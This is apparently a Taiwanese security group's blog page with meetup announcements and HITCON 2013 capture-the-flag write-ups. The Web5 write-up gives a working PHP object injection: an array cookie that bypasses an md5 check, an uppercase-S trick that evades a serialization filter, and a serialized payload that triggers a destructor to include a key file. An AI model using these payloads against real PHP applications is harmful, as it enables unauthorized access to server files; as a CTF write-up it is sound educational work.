2015/07/19 技術分享會簡報分享

因有一篇簡報必須在Hitcon上演講,

所以直到昨天Hitcon順利落幕,

今天趕緊把它分享出來~






2015/4/11 HST討論分享會

各位好久不見,

我們將在4/11 下午兩點到六點於新北市創立方(如下方網址內地圖)來場簡單的分享討論會。
這次我們將提供機會給願意分享的朋友可以公開分享他/她的發現。投稿的內容分為兩種模式: 30 mins 的主題分享及 5~15 mins 的 lighting talk。

有興趣與我們一同分享的人可以將主題與簡介/簡報(簡單的介紹),寄到 contact@hst.tw。

分享會的詳細內容將於 4/1 公布,也會公布投稿錄取講者與主題,到時希望可以帶給大家豐富且有趣的內容,對外售票與其他相關細節也於 4/1 後一併公佈。

NOTE - 本次討論會最多徵求 3 份主題分享以及 7 份 lighting talk。投稿錄取者將免費入場。

2014/10/19 HST技術交流會

很感謝大家參加我們第一次的技術交流會

第一次舉辦有很多缺點,還希望大家多多包涵,下次會加以改進

以下是這次的照片及簡報內容

希望大家都有所收穫 :)










HoneyCon Wargame 競賽第二名



恩,其實這次也沒甚麼好說的,只是留個紀念,畢竟只有4,5組隊伍比賽,取得第二名好像也沒甚麼了不起的(笑

以後我們將會不定期舉辦讀書會,我們會選出一本資安相關的書籍作為當場讀書會的討論主題,並將資訊發佈在Facebook上

歡迎有興趣或有購買該本書的朋友,一起討論與分享

HITCON2013 解題 - Roulette5

前面HackStuff的其他成員已經幫我把Dark.rar裡面的東西解完了,真的好黑暗的壓縮檔,最好在ram disk下弄,不然很傷 QAQ
當你解完100層之後會看到一張嘲諷臉,告訴你還沒完,接下來的壓縮檔名很關鍵,4D.rar 5A.rar 90.rar 00.rar,
好熟悉阿,這不是WindowsPE的header嗎?

HITCON2013 解題 - Web5

因為 Wargame 關了  把還記得的部分寫上來。
這題還蠻有趣的
是關於 PHP 的 object injection,主要是 unserialize 出了問題。





















http://pastebin.com/pykQL896  chall.phps 原始碼


首先,這題有三個保護
一:bypass md5
  1. $checksum = $_COOKIE['checksum'];
  2. if ( @md5($checksum) == '' ) {
這邊要輸入一個可以通過檢查的 checksum cookie
不然程式會一直跳到 FakeKey 那邊進行讀取。
查了一下 md5 函數不管輸入怎樣的字串都不會回應 '' 空值,因此是要使它出錯
利用 firefox cookie editor 插入 checksum[] =  利用塞入陣列方式讓其出錯就可以了。

二:encrypt & bypass safe function
  1. base64_decode( $auth_str );
  2.     $auth_str = mcrypt_decrypt

因此要自己進行一次 base64_encode 跟 mcrypt_encrypt
而Safe function有一些regular expression要bypass
  1.     if ( is_string( $s ) && strpos( $s, "\0" ) === false ) {
  2.         if ( strpos( $s, 'O:' ) === false ) {
  3.             return true;
  4.         } else if ( ! preg_match('/(^|;|})s:[+\-0-9]+:"/', $s ) ) {
  5.             return true;
  6.         }
由於下面產出來的 payload 最後長這樣  'O:3:"qoo":1:{S:7:"key_var";S:3:"Key";}';
由於過濾了s(字串),這邊改成大寫S就過了
然後base64的字串會出現+號,用urlencode繞過即可。

三:utilize unserialize php object injection
https://www.owasp.org/index.php/PHP_Object_Injection
查閱 OWASP 文件後,可以知道 PHP 在處理反序列化(unserialize)的時候有 bug
如果在上面有宣告物件,它在unserialize的時候會自動的執行類似
function __destruct(){
這樣的函數

我們看一下原始碼
  1.  $cookie_key  =  "◢▆▅▄▃崩╰(〒皿〒)╯潰▃▄▅▇◣";
  2.  $iv          =  "00000000";

  3. class qoo{
  4.     var $key_var = "FakeKey";
  5.     function __construct(){}
  6.  
  7.     function __destruct(){
  8.         $keyfile = $this->key_var . ".php";
  9.         $keyfile = basename( $keyfile );
  10.  
  11.         include( $keyfile );
  12.  
  13.         print $key;
  14.     }

  15. }

  1.     $auth_str = $_COOKIE['auth_str'];
  1.         unserialize( $auth_str );

如果沒有第二步的檢查,一般的 object 注入方法是
建構一個跟上面一樣的 class qoo,加入要覆蓋的 key_var,然後將這個 class serialize 序列化
<?php
class qoo{
    var $key_var = "Key";
}

$class = new qoo();
$class_ser = serialize($class);
print_r($class_ser);
?>

將 payload $class_ser   'o:3:"qoo":1:{s:7:"key_var";s:3:"Key";}';  unserialize
就會觸發 qoo 的 __destruct
同時會覆蓋區域變數 key_var,這樣就可以讀到 Key.php 了。